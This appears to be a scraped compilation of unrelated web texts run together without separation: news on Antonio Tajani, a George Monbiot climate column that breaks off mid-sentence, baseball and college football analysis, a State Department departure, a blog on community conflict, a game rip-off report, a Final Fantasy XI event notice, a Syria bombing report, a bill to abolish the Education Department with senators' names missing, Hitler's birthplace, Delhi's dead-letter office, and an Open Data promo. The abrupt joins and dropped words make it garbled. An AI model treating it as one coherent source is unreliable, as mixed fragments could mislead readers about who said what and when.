“We cannot beat the crisis without reducing public debt and undertaking reform, but we also cannot win if policies don’t favour growth, industry, SMEs, professional workers, agriculture, trade and also tourism,” he said.
Tajani triumphant in historic Parliament presidency vote Following intense political negotiations, centre-right European People’s Party (EPP) candidate Antonio Tajani was elected this evening (17 January) as president of the European Parliament.
In terms of the United Kingdom’s decision to leave the EU, the negotiations of which are set to kick off in March, Tajani said that it is important to “defend the rights of European citizens and be serious” with Westminster, because, economically speaking, “being a member of the EU cannot be the same as not being a member”.
“But, at the same time, it is important to work with London in order to plan our next stage of cooperation after Brexit, because the UK will not be an enemy of the EU. It will be a partner. The UK will always be a European country; however, not an EU country.”
Greece’s financial situation has once again run into serious difficulty and when asked what the best response should be, Tajani insisted that now is the time to support Athens.
“We will talk about Greece in Strasbourg this week. The Parliament will discuss the problem and its different positions, but I think that Greece is an important country and it is important to defend Greece as it is a member of the Eurogroup and the European Union.”
He added that “Greece is a part of the Union’s history. There is no Europe without Greece.”
Lenders agree on more austerity for Greece to avoid default Eurozone and IMF officials met with Greek Finance Minister Euclid Tsakalotos this afternoon (10 February) to overcome the stalemate in the bailout programme after the lenders agreed to request an additional €3.6 billion in cuts by 2018.
But he did warn that it is not just up to Brussels to put the effort in and that “the Greeks will have to do their part to beat the crisis”.
Tajani met with Spain’s king, Felipe VI, the head of its government, Mariano Rajoy, and other important figures. During these meetings, the Parliament leader defended the idea of an open Europe and pushed for more active measures at a global level, particularly when it comes to the bloc’s relations with Latin America and Africa.
“For me, Latin America is a priority,” he revealed.
Tajani: Political relations with Latin America are a 'priority' European Parliament leader Antonio Tajani has insisted that political relations with Latin America are a “priority” for Europe, highlighting the potential for cooperation on trade and security in particular. EURACTIV Spain reports.
“Leaving China all the work and influence in Latin America, like in Africa, seems like a mistake,” he warned.
The Italian politician insisted that “economic diplomacy” could be a good way in which to strengthen ties, something that has already been practised, Tajani highlighted, during his stint as vice-president of the Parliament and when he was a Commissioner (2008-2014).
Tajani also said that work at a parliamentary level could be better, citing relations on both sides of the Atlantic within the framework of the Euro-Latin American Parliamentary Assembly (EuroLat).
He revealed that he plans to invite the presidents of Mexico, Enrique Peña Nieto, Argentina, Mauricio Macri, and “the next president of Brasil” to speak in front of the Parliament when it meets in Strasbourg, in order to explain the situation in their countries and to “send a positive message about Brussels-Latin American cooperation”.
“It’s good, because we share languages, we share values, we share religion with these countries and we can cooperate well.”
Tajani would not be drawn into the argument between the United States and Mexico about Donald Trump’s plans to build a border wall and get Mexico to pay for it, but he did acknowledge that Mexico is a “super important” country to the EU.
Trump's 'America First' catalyses renewed EU-Mexico trade interest The European Union and Mexico have scheduled two new rounds of trade talks in the first half of 2017, an acceleration of negotiations intended to deepen economic ties in the wake of Donald Trump’s inauguration as US president.
“We will work with them (Mexico) because they are an important partner, like Argentina and Brazil.”
Tajani added that “we hope the situation will change in Venezuela because there is a lack of democracy there”.Struck Dumb
Why, even now, climate change cannot be mentioned in the presidential election.
By George Monbiot, published in the Guardian 6th November 2012.
Here’s a remarkable thing. Neither Mitt Romney nor Barack Obama – with the exception of one throwaway line each(1,2) – have mentioned climate change in the wake of Hurricane Sandy.
They are struck dumb. During a Romney rally in Virginia on Thursday, a protester held up a banner and shouted “What about climate? That’s what caused this monster storm”(3). The candidate stood grinning and nodding as the crowd drowned out the heckler by chanting “USA!, USA!”. Romney paused, then resumed his speech as if nothing had happened. The poster the man held up? It said “End climate silence.”
While other Democrats expound the urgent need to act, the man they support will not take up the call. Barack Obama, responding to his endorsement by the mayor of New York, mentioned climate change last week as “a threat to our children’s future”(4). Otherwise, I have been able to find nothing; nor have the many people I have asked on Twitter. Something has gone horribly wrong.
There are several ways in which the impacts of Hurricane Sandy are likely to have been exacerbated by climate breakdown. Warmer oceans make hurricanes more likely and more severe(5,6). A warmer atmosphere holds more moisture, increasing the maximum rainfall(7). Higher sea levels aggravate storm surges. Sandy might not have hit the United States at all, had it not been for a blocking ridge of high pressure over Greenland, which diverted the storm westwards. The blocking high – rare there at this time of year – could be the result of the record ice melt in the Arctic this autumn(8).
This might sound like the wisdom of hindsight. But in February the journal Nature Climate Change published an article which warned that global warming is likely to “increase the surge risk for New York City”(9). As storms intensify and the sea level rises, it predicted, storm surges previously described as 100-year events would become between five and thirty times as frequent.
Four years ago, Obama pledged that “my presidency will mark a new chapter in America’s leadership on climate change”(10). He promised a federal cap and trade system and “strong annual targets” to reduce carbon pollution. But he ran into a ridge of high pressure. His cap and trade bill was killed in the Senate in 2010. By then, he had wilted in the rising heat.
At a meeting in the White House in 2009, his strategists decided that climate change was a banned topic: it caused too much trouble(11). From then onwards, Obama would talk about clean energy and green jobs and improvements in fuel economy, but would seldom explain why these shifts were necessary. The problem with this approach is that you cannot engineer a sustained reduction of greenhouse gas emissions only by getting into clean energy: you also have to get out of dirty energy. And that requires statesmanship: active and persuasive engagement with the public.
In April, Obama told an interviewer that global warming “will become part of the campaign” and that he would be “very clear” in explaining how he would deal with it(12). It hasn’t happened. There were a couple of non-committal paragraphs in his speech to the national convention, during which he also boasted that “we’ve opened millions of new acres for oil and gas exploration in the last three years, and we’ll open more.”(13) There was more of the same in the Democratic platform (the party’s manifesto)(14). Otherwise this remains the issue that dare not speak its name. For the first time since 1984, climate change was mentioned in none of the presidential debates. It is a forbidden land, into which you shall not wander.
This, remember, is after a year of climate disasters: the droughts and wildfires that devastated much of the continental interior of the United States, the Arctic meltdown, the superstorm that ripped through the Caribbean before piercing the financial and spiritual heart of the nation. You wonder what it takes.
As for Romney, his contribution has been confined to mockery. Even as Hurricane Isaac cut short the Republican national convention, he ridiculed Obama, to the delight of the delegates, for wanting to stop the sea level from rising(15). It was a revolting spectacle, which, in the aftermath of Sandy, would have become a major liability, had climate change not been taboo.
In the Republican party platform, “climate change” – yes, in quotes – is mentioned only once, and only to attack Obama for taking it seriously(16). The platform commits the party to blocking all effective measures to curb it, and to developing new coal (which Romney now professes to “love”(17)), the Keystone XL tar sands pipeline and oil drilling on the outer continental shelf and in the Arctic National Wildlife Refuge. Planetary ruin, for the Republicans, seems no longer to be an unfortunate side-effect of development: now it looks almost like a desirable end in itself, a test of manhood and corporate muscle.
Successive polls show that an effective response to climate breakdown will not lose votes(18,18a,19). Votes are not the problem: the problem is money and traction. Anyone who tries to address this subject encounters a storm surge of attack ads, obstruction and |
batting in 2005 was to quickly change the topic to his caught stealing rate. he batted.216/.274/.321 in 2006. he didn't have an ISO over.106 until 2011. somewhere in there, he started hitting for average and then for power. and then for even more average again.
infamously a free-swinger, one way he's not making headlines is by taking walks. he still has a below average 6.2% nB% (statcorner's slightly more informative equivalent of walk percentage includes unintentional walks and hit-by-pitches, while excluding intentional walks), versus a league-wide rate of 8.0%.
but yadi's free-swinging ways are not a product of a bad eye; instead, he has a strikeout rate that runs less than half of the major league average, at 9.1%, versus a league-wide 20.3% K rate.* he just has a phenomenal ability to make contact.
*statcorner numbers; fangraphs has him at 9.2% versus a league average of 19.9%. i am not sure what gives us this minor disparity. now that i look around, i see other minor disparities: stat corner has his line thus far at.359/.401/.504. anyone smarter than me know why the numbers don't match either his fangraphs numbers before or after last night's game?
some of his current contact ability is probably illusory. we shouldn't expect him to hit for a.388 BABIP all season. but, notwithstanding his lack of speed, he has a great skill at hitting that makes his BABIP much more skill than luck.
among other things, he's hitting for a line drive rate of either 26.3% or 29.6%, depending on whether you believe the statcorner or fangraphs assessments. while you should approach less than half a season of LD numbers with some skepticism, it's worth noting that last season, his line drive rate was assessed at 24.8% and 24.0% by the various systems, meaning that his average line drive rate is around 25% over the last season and a half, which probably represents something close-ish to his true talent level. ZiPS thinks he should have a.322 BABIP for the rest of the season, which sounds right to me.
his swing rates and contact rates bear out his reputation as a great contact hitter. he swings at slightly more pitches out of the zone than the average batter (33.4% v. 30.6%) and a lot more pitches in the zone than the average batter (74.3% v. 65.2%). he's also better at hitting what he swings at in the zone (90.3% contact v. 86.7% average) and out of it (a stunning 81.4% v. an average 66.6%).
long, number-intensive story short, we should expect him to maintain a high average, though probably not one this high, because he makes really good, solid contact when he hits.
lost in the astonishing hitting-for-average story is that he's actually not hitting as many home runs as you'd expect him to. the typical league-average hitter should see a ball go over the fence about 7.5% of the time when he hits the ball in the air to the outfield; yadi is seeing that happen about 4% of the time. and yadi has the muscle to put the ball out of the park; he hit almost 7% of those outfield flyballs and line drives out of the park in 2011, and 9% of them out in 2012.
his power numbers show this. he has a.135 ISO for the year compared to.180 last year and.165 in 2011. so, look for him to trade some of these hits for more dingers as the year goes on. (note: many of these numbers did not include last night's home run).
his defense shows little sign of slipping. even working with a host of rookie pitchers, who are notably not good at keeping runners on, he has caught 11 runners stealing in 27 opportunities (for a 41% CS rate, to the extent expressing that as a percentage is meaningful).
while we can't articulate his value at some of the intangible parts of the catching job, the loud and frequent encomiums from the rookie and veteran pitchers who work with him probably deserve a fair amount of credence. he has long had an elite reputation as a game-caller.
and honestly, i can't remember the last time someone criticized the pitch selection of a cardinal pitcher. pitchers may miss their spots or hang a curve or throw a too-flat fastball, but i can't think of one time any commentator has criticized the choice of pitch.
yadi is easily among the best, but joe mauer and buster posey deserve some mention among elite catchers. note, particularly, that posey's current stats are almost comparable to molina's, even though he carries a more sustainable.337 BABIP. posey also closely follows molina by overall WAR, even though he has an improbable negative defensive WAR behind the plate. i think we can give molina his due without looking at other catchers with a homer glasses.Story highlights Maliz Beams had been appointed as counselor over the summer
A State Department spokesperson confirmed she will be "stepping away from her role"
(CNN) A senior State Department official appointed by the Trump administration is leaving the agency after just three months on the job, CNN has learned.
Maliz Beams had been appointed as counselor -- a senior position not requiring congressional confirmation -- over the summer. In this role, she served as a special adviser to Secretary of State Rex Tillerson, and was closely involved in his efforts to reorganize the agency.
A State Department spokesperson confirmed to CNN Beams would be "stepping away from her role at the Department of State and is returning to her home in Boston."
"We appreciate Maliz sharing her expertise with us over the past few months," said the spokesperson, speaking on background. "We wish her the best of luck in her next venture."
Deputy chief of staff Christine Ciccone "will step in to lead the redesign effort and manage its daily activities," the spokesperson said.
Read MoreConflicts in a community
Any time you bring people together you will have more than one opinion. Instantly. On anything. I can’t tell you the number of times I’ve heard of arguments in a group of people over some of the silliest things. It’s human nature. We want others to agree with our point of view. We want everyone to see things our way, and yet, we also know if we all shared the same view there would be something seriously wrong with us.
If two people agree on everything, one of them is unnecessary
— Winston Churchill
How we handle conflicts within a community is important to the long-term success of the community. Let’s examine the concepts involved in conflict resolution within a community of individuals. To begin we should focus on why this group of unique individuals has come together.
What is a community?
A clear definition of terms is always important when discussing things. How can we discuss something if we are looking at two different things? So let’s look first at the definition and structure of a community. I think this is a great place to start. Obviously I assume most of us have a fairly good grasp on what comprises a community so we’ll run through this quickly. According to Wikipedia a community is defined as follows:
“A community is a group of people whose identity as a group lies in their interaction and sharing. Many factors may affect the identity of the participants and their degree of adhesion, such as intent, belief, resources, preferences, needs and risks.”
That’s a basic definition which serves our purpose quite well. A community brings a group of people together to form a common identity. Singular. One identity. A group of diverse people forming a single identity around a unique intent or belief. Seth Godin offers a slightly different definition on his blog and in his book, Tribes:
“Working side by side doing something that matters under adverse conditions… that’s what we need.”
But there are many, many types of community. Let’s save some time and look at only a few of the more common types (want to see the full list? check the footnotes).
Voluntary Association: A group of individuals who voluntarily enter into an agreement to accomplish a purpose.
Interest: A group of individuals who share a common interest or passion
Practice: A group of individuals who choose to collaborate over an extended period to share ideas, find solutions, and build innovations.
Purpose: A group of individuals who are going through the same process or are trying to achieve a similar objective.
So, step one, evaluate what type of community you have joined. Does it fit a distinct definition above, more than likely it’s a hybrid of one or more types. It’s important to start here though. You need to know the underlying purpose of the community you are volunteering in. This will help as we continue to the next step.
Find your motivation
Once you have a good working definition of exactly why your community is formed you need to work out why you want to volunteer and be a part of it. What motivates you? Why do you want to invest your time, talents, and energy in this community. It’s an interesting question I admit. Interesting because it’s simple and yet surprisingly complex. What drives us to do the things we do. Sometimes I’m not sure how to answer this myself but it’s a good exercise to undertake.
But wait, it doesn’t stop there. It’s not a one-time question either. Not only do you need to know why you want to start volunteering but you need to periodically ask yourself why you wish to continue volunteering. Has your motivation changed? Has the community changed? If you answer yes to any of these questions then you need to take a moment and thoughtfully consider your situation. Have your feelings changed, have you lost your passion, drive, or motivating desire; if so, then you know it’s time to move on to a new community and a new opportunity.
Side Topic Let’s talk about that for a minute. I just said move on. Does that mean I think your services as a volunteer are of no value? Absolutely not. Every single individual has a unique set of talents and abilities that together form the identity of a community. Does that mean you should never move on. Absolutely not. Interests change, people change, and as we just discussed communities change. It’s not a badge of honor to stay in a community where you are not happy. This leads easily to the next question…
What makes you happy?
If we take the answers you worked on earlier (you did work on them right?) then now you need pick them back up. An important part of any community is evaluating how volunteers are appreciated. See how this relates to your happiness? If you know what makes you feel appreciated and fulfilled and you can define it, you’ll be much more likely to find a community which fits. What are common methods of appreciation in the workplace? Gary Chapman has written a great book on the topic, The Five Languages of Appreciation in the Workplace. Below is a quick summary. I highly recommend reading the full book as it offers a much more detailed review of each.
Words of Affirmation: Uses words to to communicate a positive message to another person. Praise for accomplishments, affirmation of character, praise for personality. This affirmation can take the form of one-on-one, a group setting, and in either written or verbal format. Quality Time: Giving the person your focused attention. This means quality, focused conversations, listening to thoughts and feelings, and all without distractions or disruptions. Acts of Service: Providing assistance “What can I do to help?” Assisting someone in the way they would like things done. Be sure to ask before helping. Tangible Gifts: Physical items, could also be time off. Remember they should be something the person values. Physical Touch: Human to human contact. This is not a primary means especially in the workplace. Examples would include fist-bumps, handshakes, and high-fives.
As I mentioned, these are only brief summaries and the book provides a very good opportunity to explore the many aspects of appreciation. I want you to take a moment now and review this list. Rank them from greatest importance to those of least importance to you personally. If you know what affirmation is most fulfilling to you then you’ll be more able to recognize how to achieve personal satisfaction from a community.
Whew! Ok, enough of a side-track. Let’s get back to the issue at hand. Conflicts and resolution. First, the conflict.On Saturday, PFF’s Jordan Plocher opined something most, if not all, WSU fans likely take for granted: that Falk is one of the nation’s top quarterbacks and capable of leading the Cougars to the Pac-12 title this season.
Among Plocher's arguments:
Falk’s 78.7 adjusted completion percentage ranks No. 1 among all returning FBS quarterbacks (447 completions + 42 drops) / (649 attempts – 14 throw aways – 3 spikes – 2 batted passes – 9 hit as thrown) = 78.7. On longer developing pass plays where the throw occurs at 2.6 seconds or more, Falk’s 63.7 completion percentage ranks No.2 among all returning FBS quarterbacks after only Mississippi’s Chad Kelly. No returning FBS quarterback was as cool under pressure as Luke Falk was last season. Falk completed 50 of 99 passes under pressure in 2015 with six touchdowns and zero interceptions. Falk’s 49.2 percent deep-passing accuracy ranks No.7 among returning FBS quarterbacks.
He didn’t even mention that Falk led the nation in passing yards per game last season, 380.5 to No. 2 Jared Goff’s 363.
“Falk’s accuracy, poise under pressure, big-game performance, and a pass-happy offense will see him as one of the top-10 quarterbacks in FBS in 2016,” Plocher concludes in his story.
He makes a persuasive and straight-forward case for the fourth-year junior to be considered among the national elite.
But apparently Plocher’s colleagues at PFF don’t read his stuff.
Because Monday — just two days after the case for Falk was made — PFF’s Steve Palazzolo came out with the list of the 101 best players in college football. And Falk wasn’t among them (and neither was Gabe Marks).
Eleven quarterbacks were on the list of 101, including two guys from the Pac-12 who Falk beat out last season for first-team all-conference honors. Granted, Plocher couched his article by proclaiming Falk one of the top 10 QBs in the nation, so falling outside the top 11 may not seem far off, but the reality is that on this list of QBs in PFF's 101, it's hard to see more than the first two ahead of Falk...
Deshaun Watson, Clemson (6th) Baker Mayfield, Oklahoma (8th) Mason Rudolph, Oklahoma State (18th) Greg Ward, Houston (44th) Chad Kelley, Mississippi (53rd) Nick Mullens, Southern Miss (55th) Seth Russell, Baylor (67th) Gunner Kiel, Cincinnati (73rd) Josh Rosen, UCLA (74th) Jake Browning, UW (81st) Brad Kaaya, Miami (87th)
Browning is the most glaringly oversold name on that list and PFF even points out that Rosen put up abysmal numbers last season when passing under pressure, but truly after Watson and Mayfield it's hard to see why any are above Falk. Heck, Falk was one of the handful of names the Associated Press ID’d last December in its outlook for 2016 Heisman contenders.
Perhaps the opening line of Plocher’s ode to Falk was the most accurate in his entire story: “While quarterbacks elsewhere in the country get most of the press, Washington State’s Luke Falk is quickly and quietly building an impressive resume in the northwest.”This thing is a Chinese Overwatch, not made by Blizzard, and not called Overwatch.
There’s a Chinese Overwatch rip-off, and it looks terrible
Parts of Overwatch‘s unique visual style and character were bound to find their way into other games, as inspiration. Except when developers cross that line into infringement territory, blatantly using Blizzard’s assets, designs, and maps, and calling it something else.
A Chinese-developed game called Legend of Titan (good play?) has done just that, to the point you might mistake it for the real thing – a low-res version of it at any rate. Heroes didn’t just carry over in design, but in function as well.
Widowmaker is a sniper, Reinhardt has a shield, Reaper teleports around, even Tracer’s trademark sass carried over. The UI, too, is the same. Ultimate abilities? Those can be found here as well.
Watch the results of carbon copying below, but be quick, Activision is taking down videos of this as soon as they appear.
Thanks, BogsySenpai.Jingle Baaas Anniversary Event (01/11/2016)
Celebrate XI Day with a new anniversary event, Jingle Baaas, starting on 11/11!
This event features a reward fashioned by the famed Chacharoon and a variety of other items.
Event period
Friday, 11 November at 8:00 a.m. (GMT) to Wednesday, 30 November at 2:59 p.m.
Participating in the event
Speak with Chacharoon at one of the locations listed below to help him retrieve something very special to him. If you agree to help him, he will present you with a jingly rod.
West Ronfaure (I-6) / South Gustaberg (J-7) / West Sarutabaruta (J-8)
Equip the jingly rod and speak to Chacharoon again to have him teach you several lost arts. You will then be transformed, reduced to level 5, and gain the ability to use certain emotes to perform special techniques. Use the techniques to vanquish the requisite notorious monsters.
* Select the costume status icon and deactivate it in order to escape the level restriction.
Rewards
Notorious monsters will occasionally drop jingly for you to retrieve. Trade chacharoon jingly in exchange for a variety of items. Rewards include special items fashioned by Chacharoon himself, in addition to a bevy of other goodies. You could even earn some special prizes by meeting certain conditions.Neither Syrian factions nor Turkey can prevent Kurdish federalism: US think-tank
ARA News
HASAKAH – Assyrian Churches in Syria’s northeastern province of Hasakah mourned the victims of the ISIS-led terror attacks in Qamishli city by canceling celebrations of New Year’s Eve.
The extremist group of Islamic State (ISIS) on Thursday claimed the responsibility for three bombings that hit restaurants in Qamishli, killing 16 civilians and wounding more than 45 others.
“We dedicate this evening to prayers for the victims of those attacks. We pray for our region and country amid the bloody war that claims lives of civilians everyday,” a joint statement by the Assyrian-Syriac Churches of Hasakah province said.
Speaking to ARA News in Qamishli, Father Touni Hannah condemned the ISIS-led terror attacks and appealed to people to avoid gathering at any public place in the province “to avoid the loss of any more innocents”.
“People were making their preparations to celebrate this Eve, but they were shocked with the brutal attacks that killed and wounded dozens of civilians,” Hannah said.
“We hope the year 2016 would bring peace to Syria and the region after years of bloodshed.”
Reporting by: Qehreman Miste
Source: ARA NewsOn the same day the Senate confirmed President Trump’s secretary of Education pick by a historically narrow margin, a House Republican introduced legislation to abolish the entire department Betsy DeVos will lead.
Kentucky Rep. Thomas Massie’s bill is only a page long, after merely stating the Department of Education would terminate on Dec. 31, 2018.
Massie believes that policymakers at the state and local levels should be responsible for education policy, instead of a federal agency that’s been in place since 1980.
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"Unelected bureaucrats in Washington, D.C. should not be in charge of our children's intellectual and moral development. States and local communities are best positioned to shape curricula that meet the needs of their students,” Massie said in a statement.Former President Reagan called for dismantling the Department of Education, along with the Department of Energy. But that proposal ultimately never came to fruition.Seven other Republicans signed on to Massie’s bill: House Oversight Committee Chairman(Utah) and Reps.(Mich.), Andy Biggs (Ariz.), Matt Gaetz (Fla.), Jody Hice (Ga.), Walter Jones (N.C.) and Raúl Labrador (Idaho). The Senate confirmed DeVos earlier Tuesday on a 51-50 vote following an all-night session forced by Democrats unanimously opposed to her nomination.Teachers unions and liberal groups rallied against DeVos, whose family has donated extensively to GOP lawmakers, for her support for charter schools and lack of experience in public education.Two Republicans, Sens.(Maine) and(Alaska), voted against DeVos, citing thousands of calls to their offices from people opposed to her nomination.But the two GOP defections weren’t enough to derail DeVos’s nomination. Vice President Pence cast the deciding vote on DeVos to break a tie.Pence is the first vice president in history to break a tie on a Cabinet nominee. Tuesday also marked the first time a vice president has broken a tie in the Senate since 2008.Adolf Hitler's birthplace may be seized by Austria and torn down to prevent neo-Nazi pilgrimage
Updated
The Austrian Government is moving to seize Adolf Hitler's birthplace to prevent it from becoming a site of pilgrimage for neo-Nazis.
Hitler's family lived in the house in the town of Braunau am Inn in northern Austria for only three years around his birth on April 20, 1889, but the fate of the three-storey building coated in pale yellow paint has long been the subject of controversy.
An interior ministry spokesman said the Government had agreed on a law to take ownership after the building's landlord, a local woman, had refused to sell it to the state. The bill will now go before Parliament.
"The decision is necessary because the Republic would like to prevent this house from becoming a 'cult site' for neo-Nazis in any way, which it has been repeatedly in the past, when people gathered there to shout slogans," Interior Minister Wolfgang Sobotka said before the cabinet meeting.
"It is my vision to tear down the house."
A commission consisting of 12 members from the fields of politics, administration, academia and civic society will ultimately decide the fate of the building.
Austria's interior ministry has been renting the property from the retired local woman who owns it since 1972 and has sublet to Braunau.
The ministry pays around 4,800 euros ($6,966) a month in rent.
The building has housed workshops for disabled people, but has been empty since 2011, because the owner repeatedly rejected ideas for the future use of the house and purchase offers from the state, according to the interior ministry spokesman.
Once the law has passed Parliament, the owner has no right to appeal the decision or negotiate her compensation, which will be in line with the sum paid to home owners evicted in the course of railway line construction.
Local historians say Hitler was not born in the house itself but in a building behind it that has long since been demolished. His family moved away from Braunau when Hitler was three.
Outside there is a stone memorial that reads: "For Peace, Freedom and Democracy. Never Again Fascism, Millions of Dead Warn."
Nazi Germany annexed Austria in 1938.
Debate still smoulders over whether Austrians were willing accomplices, many having cheered his return to his country of birth at the time, or the first victims of a dictatorship that ultimately reduced much of Europe to ruins and cost tens of millions of lives.
Reuters/AFP
Topics: world-war-2, law-crime-and-justice, austria
First postedLetters which never reach their destination
“Anne, about 50 years ago we corresponded. I found your photo while sifting old papers. I am now old and want to remember old times and acquaintances, you are one of them. Hope all is well with you. Yours sincerely, Sushil.”
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This note, written in black ink on a creased picture postcard from Toronto, Canada, with the picture of the Royal York set against a magenta backdrop, lies suspended in timeless limbo in the Dead Letter Office in New Delhi.
Back in 1963, a young Sushil had, perhaps, met a beautiful Anne in Germany. They had probably corresponded over letters, the photocopy of one of which is appended to the postcard. A fair Anne with short dark hair and a soft smile playing on her lips looks out of the picture attached to an A4 size sheet. The rest of it contains a note from her to Sushil written in German, and the address of the apartment where Sushil was living in Germany in 1963.
The picture postcard had been dispatched for Rhine, Germany, on September 17 last year. The German postal services hunted for the address. They neither found the house, nor could they locate Anne. The letter was then sent back to Delhi. The postal services here, according to protocol, redirected the postcard to the Returned Letter Office, where officials tried figuring out where the sender, Sushil, lives in Delhi. But in the absence of an address for the sender, the letter now lies suspended in transit between two cities, two nations and two correspondents. Is Anne still alive? Does she still live where she used to in 1963? If so, does she remember Sushil? Sushil might never know. And Anne might never know that a letter had travelled over 4,000 miles from India only to miss her. Situated in the heart of India’s capital, where high internet penetration, an ubiquitous telecom cover, an ever expanding metrorail network and a sea of private and public transport make connectivity a matter of unconcern, the Returned Letter Office becomes a humbling reminder of the power of chance over humans even in a hyper-connected world.
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The Returned Letter Office in Jhandewalan, Delhi Circle (Source: Prem Nath Pandey)
Hundreds of letters such as Sushil’s lie buried in the morgue of mails, the Dead Letter Office (officially known as the Returned Letter Office or the RLO) in Jhandewalan which falls under the Delhi Circle. Each of the 25 postal circles in the country has an RLO to itself. The RLO is the lost-and-found section of the Indian postal system,where all letters and articles which do not reach their destination and can neither be mailed back to the sender are housed. “The unclaimed mail resides in the RLO for a stipulated preservation period in case the senders or the addressees come to claim them. Letters are kept for three months after which they are shredded and destroyed. Articles and parcels are kept for a year, after which they are auctioned off to the general public with a base price decided by the office,” says Pranav Kumar, director (Mail and Business Development), in charge of the RLO, Delhi Circle.
Housed in a nondescript room on the third floor of the Jhandewalan post office, the Returned Letter Office is a relic in itself. Inside, there are wooden tables and chairs, rusted old Godrej cupboards, weighing machines, a cubicle for the manager and bundles of white gunny bags occupying a corner. The workforce at the office comprises four men and five women, all middle-aged, each sitting before blue plastic trays stacked with envelopes, magazines and parcels. A tabby occupies the window sills, lapping milk from a bowl kept on an unused table. The employees at the office work as the decoders, entrusted with the task of verifying if the letters and articles can, indeed, not be sent to the recipient or the sender before destroying or auctioning them. The decoders, invested with the sole authority to open and go through the unclaimed letters which come into the RLO, become privy to hundreds of letters and the stories in them, which range from the banal to the bizarre, from the fascinating to the funny.
Tucked away in the bundles of letters at the Dead Letter Office is an envelope addressed to “Santa Claus, Gandhi Nagar”. Inside it lies a thin sheet of ruled paper with a wishlist scrawled in yellow pencilled block letters. The anonymous young writer comes straight to the point: “Santa, I Want Magic Pen (2), Kinder Joy (4), Stamp (1), Casio (1), Your Photo and sign (2), Your cap (2), Cosco Ball (green) (1), Balloon (15), pencil box (1), Stickers of Ben 10, Spiderman Cap (1), Angry Bird (2 packs), Crank 100000000000, I love you Santa.”
Wish lists apart, the office houses some of our deepest fears too — that of unrequited affection and rejection. A letter from a young man named Rocky to his love opens with, “Hello Reena, kahan ho yaar, bahut din ho gaye mile hue, na koi cal (sic) na koi WhatsApp par message. Kya hua, Facebook par se toh tera profile hi gayab hai, band kar di ya kisi aur naam se khol liya hai…(Where are you? It’s been so long since we met. You don’t call, or message on WhatsApp either. What has happened? Your profile’s disappeared from Facebook too. Have you disabled it or opened a new one?).” There are other letters too — letters from a librarian thanking a library in the village of Brades in Montserrat in West Indies for sending him some books and stationery, wedding cards that never found their way to the guests, anxious petitions from aged pensioners who have not received their pension, greeting cards and advertisement pamphlets. A senior official says, “Some of the letters and articles which end up here are quite unbelievable. The most popular addressee we deal with is god. People write lengthy letters to God, either sending requests or making confessions. Many post money to god as donation or a measure of thanks.”
One of the reasons why a letter ends up at the RLO is because the sender posts it without the correct address. For instance, a letter addressed to “Heena, New Delhi” will be almost impossible to deliver in the vast megapolis. The officials try to trace the addressees by going through their records or looking up the directory for phone numbers. They have the authority to open and read the letters to see if they can find a better described address or phone number. In case they are unable to find any information, they return it to the sender. However, in case the sender has not specified his or her own address, or written an incomplete or incorrect address, or simply refused to take back the letter or parcel, the mail ends up in the RLO.
A senior official at the RLO admits that precious articles and letters of archival value do come to the RLO. However, they are not open to the public and are destroyed because they entail personal correspondences. The RLO derives its powers to destroy the letters and auction off the articles with them under provisions of the Indian Post Office Act, 1898. Point 39 in Chapter VIII of the Act says, “Final disposal of undelivered postal articles… (a) letters and postcards shall be destroyed; (b) money or saleable property, not being of a perishable nature,…be credited to the Post Office (or) be sold, the sale-proceeds being credited to the Post Office.” A staffer at the RLO reveals that a major “cleanup” had been organised recently during the Swachh Bharat campaign. “All the letters were shredded, some from as far back as 12 years ago. There were rats thriving in the store among the parcels which had not been cleared for three years, though they are supposed to be auctioned off annually. Finally, all old articles were auctioned off for as little as a cumulative sum of over Rs 1 lakh. And sale proceeds from articles from overseas fetched us Rs 7 lakh,” he says.
Letters apart, the other bulk of traffic coming into the RLO comprise passports, identity cards, voter identity cards and driving licenses. Every day, on an average, around 200 to 300 of these end up in post boxes across the city. A kind stranger who might have found one lying around or a guilty pickpocket after emptying the contents of a purse slips the cards into mail boxes. The RLO then posts these back gratis to the owner the very day it receives them. Passports of foreign nationals are sent to the concerned embassy and those of Indian nationals to their permanent addresses. Among the articles which end up in the RLO, the most common are sweets and food items, electronic items, clothes, jewellery, money and at times gold as well. The gold and money are not auctioned, but deposited with the postal services as is the money earned from the auctions.
In this day of hyperconnectivity, social networking sites such as Facebook, WhatsApp and Twitter might well serve as an exhaustive archive on its members and their moments, but there are many like Sushil and Anne who don’t figure in this documentary and whose stories silently perish at the Returned Letter Offices. And then there are those who breathe their hopes into a letter and send it to their private angels. Like this letter a woman addressed to Santa Claus at the Toy Factory, North Pole, last Christmas, that waits to be shred in a cold store room with hundreds of other unclaimed letters. “Dear Santa, I wish this letter finds you well. My name is Neha and I am sure you know who I am,” she begins. After asking for the well-being of her family and friends, she asks Santa to find her a soulmate “who would keep me happy always”. To drive home her urgency, she adds, “Please make him meet me soon. I am very lonely.” The letter closes with, “Santa, I love you and believe in you. Please grant me my wishes…please…pretty please. Oh, and last wish, I want to be happy.”
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The story appeared in print with the headline A Letter For AnneIt’s not uncommon to receive a blank and slightly bored expression after asking someone if they know what Open Data is. For anyone who doesn’t work in this burgeoning industry (by way of disclosure, this was a tribe to which I very recently belonged) the mere mention of “data” starts eyes glazing. Sometimes there’s a glimmer of interest when it’s mentioned that the value of Open Data is currently estimated at over $3 trillion, and sometimes people latch onto the idea of unprecedented government transparency, but by and large people don’t really seem to get it, in much the same way that 25 years ago people didn’t get why on earth you’d bother sending mail electronically.
But the reality is that Open Data – freely accessed machine-readable information (mostly, at least currently, government data) – is probably already a part of your life.
Just because it’s open, doesn’t mean it’s usable!
In recent years, governments of every size and scope have started launching Open Data portals (repository sites for data). But, because this movement is relatively new, they’re often doing it in any number of different ways in any number of different formats. ThinkData Works pulls together these disparate puddles and pools of data into one site, Namara.io, where it is made available in simple, machine-readable formats.
Since these portals aren’t standardized, it’s great to have Import.io in our toolkit. Import’s easy functionality and clean extraction help bring even the most uncooperative data onto our platform.
AquaHacking with open data
In April, ThinkData Works was asked to help curate a list of datasets for the inaugural AquaHacking summit in Ottawa, Ontario. The summit brought together water experts, politicians, developers and citizens to discuss the problems facing the Ottawa River, one of Canada’s largest watersheds. Part of the summit was a hackathon, where apps focused on the health of the river were created.
Under normal circumstances, the people creating these apps would have to spend huge swaths of time scavenging through various government portals, hoping that they’d not only find data that was useful but was, furthermore, machine-readable.
This time, they didn’t have to. ThinkData Works siphoned through dozens of government sites to find data relevant to the hackathon and then (with some help from Import.io on the tricky ones) brought that data onto Namara.io where it was laid out in a simple, navigable catalogue.
Basically, it let them drink the wine without having to crush the grapes.
